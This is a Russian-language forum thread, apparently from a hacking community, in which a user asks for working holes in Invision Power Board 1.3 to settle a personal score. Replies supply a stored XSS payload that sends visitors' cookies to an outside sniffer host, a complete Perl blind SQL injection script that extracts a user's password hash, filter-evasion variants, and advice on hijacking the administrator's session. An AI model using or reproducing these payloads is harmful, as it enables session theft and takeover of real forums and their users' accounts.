![]() |
Про уязвимости в Invision Power Board(U) v1.3 Final...
Кто-нибудь знает какие-нибудь дыры до сих пор работающие?
З.Ы. Очень уж надо ;) |
сплоит:
http://www.securitylab.ru/vulnerability/source/211900.php посмотри тут: http://forum.antichat.ru/thread15678.html и тут http://www.yandex.ru/yandsearch?stype=&nl=0&text=%E2%E7%EB%EE%EC+Invisi on+Power+Board%28U%29+v 1.3+Final+ вот xss можно запостить как сообщение: [e*mail]wj@wj[u*rl=http://www.wj.com`=`][/url].com[/email] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);` (Нужно убрать все *) Где http://antichat.ru/cgi-bin/s.jpg? Это ссылка на сниффер на данный момент куки должны прилететь сюда http://www.antichat.ru/sniff/log.php Советую создать свой собственный сниффер так как он более удобный чем паблик. и вот: http://rst.void.ru/download/r57ipb2.txt сплоит для похищения хэша Код:
#!/usr/bin/perlhttp://rapidshare.de/files/21359678/1.3_final.rar.html тема про уязвимости ipb: http://forum.antichat.ru/thread11615-v1.3+Final.html Invision Power Board <= 1.3.1 Login.PHP SQL Injection: http://www.milw0rm.com/id.php?id=1036 вот ещё какойто скрипт: Код:
use LWP::UserAgent; $ua = new LWP::UserAgent; $ua->agent("Mosiac 1.0" . $ua->agent); if (!$ARGV[0]) {$ARGV[0] = '';} if (!$ARGV[3]) {$ARGV[3] = '';} my $path = $ARGV[0] . '/index.php?act=Login&CODE=autologin'; my $user = $ARGV[1]; my $iver = $ARGV[2]; my $cpre = $ARGV[3]; my $dbug = $ARGV[4]; if (!$ARGV[0] and !$ARGV[1] and !$ARGV[2] and !$ARGV[3]) { print "Input like ./perl ./r57ipb.pl [addres] [userid] [version] [c_fix]\r\n"; print "[addres] = like www.site.com/forum/\r\n"; print "[userid] = user id\r\n"; print "[version] = 1 - v1.0.x or 2 - v2.0.x\r\n"; print "[c_fix] = cookie prefix by defoult its ibf_\r\n"; exit; } my @charset = ("0","1","2","3","4","5","6","7","8","9","a","b","c","d","e","f"); my $outputs = ''; for( $i=1; $i < 33; $i++ ) { for( $j=0; $j < 16; $j++ ) { my $current = $charset[$j]; my $sql = ( $iver < 2 ) ? "99%2527+OR+(id%3d$user+AND+MID(password,$i,1)%3d%2 527$current%2527)/*" : "99%2527+OR+(id%3d$user+AND+MID(member_login_key,$i ,1)%3d%2527$current%2527)/*"; my @cookie = ('Cookie' => $cpre . "member_id=31337420; " . $cpre . "pass_hash=" . $sql); my $res = $ua->get($path, @cookie); # If we get a valid sql request then this # does not appear anywhere in the sources $pattern = '<title>(.*)Log In(.*)</title>'; $_ = $res->content; if ($dbug) { print }; if ( !(/$pattern/) ) { $outputs .= $current; print "$i char = $current\n"; last; } } if ( length($outputs) < 1 ) { print "Not Exploitable!\n"; exit; } } print "Cookie: " . $cpre . "member_id=" . $user . ";" . $cpre . "pass_hash=" . $outputs; exit; # milw0rm.com [2005-05-26] |
\6/ активно :) прям статья
|
угу! активно работаю! =)) хочу вернуть репу, и попасть в закрытые =)) и вообще, просто тема такая - прям захотелось собрать всё =))) интересно знаете ли...
|
\6/ ты так класно описал дыры, а можеш ещё описать заплатки?
|
Ого! На самом деле, по написал-то! ;)
Спасибо большое! Уверен что не только мне понадобится. Давайте разбираться :) (я просто до этого ни когда таким не занимался, не надо было, да и теперь гадить не хочу, просто личные сЧёты. так что у меня только базовые знания...) Эксплоит пока попробовать не могу, т.к. завтра только Апачь со всем комплектом возьму... Пробовал сообщением в "предворительном просмотре", остаётся текст: [E*MAIL]wj@wj.com[/E*MAIL] ` style=`background:url(javascript:document.images[1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie);` Короче. "url" исчезает... (кстати, зачем вообще он там нужен ;) Так что, походу это не катит? Или я торможу и чё-то не то делаю :)? З.Ы. Вообщем помогите кто чем может плиз! |
http://forum.antichat.ru/thread15678.html
|
О! Извеняюсь что сразу не посмотрел. Сорьки!
Короче подошёл этот вариант: [H*TML][E*MAIL][U*RL=wj`=`][/U*RL][/E*MAIL][/c*olor][c*olor=white]` style=`background:url(javascript:document.images [1].src="http://antichat.ru/cgi-bin/s.jpg?"+document.cookie)`[/color] После него в "предворительном просмотре" остаётся: [H*TML][E*MAIL][/E*MAIL][/c*olor] Правда если выделить текст, то и всё остальное видно ;) Но это походу только в IE прокатит, если я не ошибаюсь? |
Походу после того как я отослал это сообщение, при чтеннии этой ветки в:
http://www.antichat.ru/sniff/log.php Должны появляться куки, даже если я захожу на форум? Так вот, там ничего не появляется ;) И вообще, как определить чьи это куки пришли, перебором? Походу в member_id нужно ставить 1, что б зайти под админом? А из снифера из QUERY вставить в pass_hash? Правильно я понял концепцию? ;) |
Не очень правильно ты понял. Куки те придут с той страницы, на которой открывается твоё сообщение с xss. В мембер ид надо ставить не 1, а мембер ид админа. Это не всегда 1. Узнаётся очень просто. Просто мышку на ник навести и внизу браузера ссылка отобразится.
|
| Время: 07:26 |